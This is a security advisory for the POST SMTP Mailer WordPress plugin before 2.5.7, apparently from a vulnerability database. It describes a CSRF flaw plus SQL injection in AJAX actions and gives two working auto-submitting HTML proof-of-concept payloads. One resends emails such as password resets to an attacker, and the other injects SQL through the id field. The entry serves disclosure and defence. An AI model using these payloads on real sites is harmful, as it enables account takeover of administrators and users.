POST SMTP Mailer < 2.5.7 - Account Takeover via CSRF

2023-06-2600:00:00

wpvulndb

139

post smtp mailer

account takeover

csrf

ajax actions

sql injections

exploit

0.001 Low

EPSS

Percentile

41.1%

JSON

The plugin does not have proper CSRF checks in some AJAX actions, which could allow attackers to make logged in users with the manage_postman_smtp capability resend an email to an arbitrary address (for example a password reset email could be resent to an attacker controlled email, and allow them to take over an account). Note: The AJAX actions are also affected by SQL injections, making the issue easier to exploit by being able to choose which email to resend, for example the latest email related to a password reset

Make a logged in admin open a page containing the HTML code below

To make them resend the email with ID 1 to an attacker controlled address:
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-resend-email">
        <input type="text" name="id" value="1">
        <input type="text" name="to" value="[email protected]">
        <input type="submit" value="submit">
    </form>
</body>

To make them resend the last sent email to an attacker controlled address (using an SQL injection):
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="text" name="action" value="ps-resend-email">
        <input type="text" name="id" value="0 OR 1=1 ORDER by id DESC LIMIT 1">
        <input type="text" name="to" value="[email protected]">
        <input type="submit" value="submit">
    </form>
</body>

0.001 Low

EPSS

Percentile

41.1%

JSON

Related for WPEX-ID:542CAA40-B199-4397-90BB-4FDB693EBB24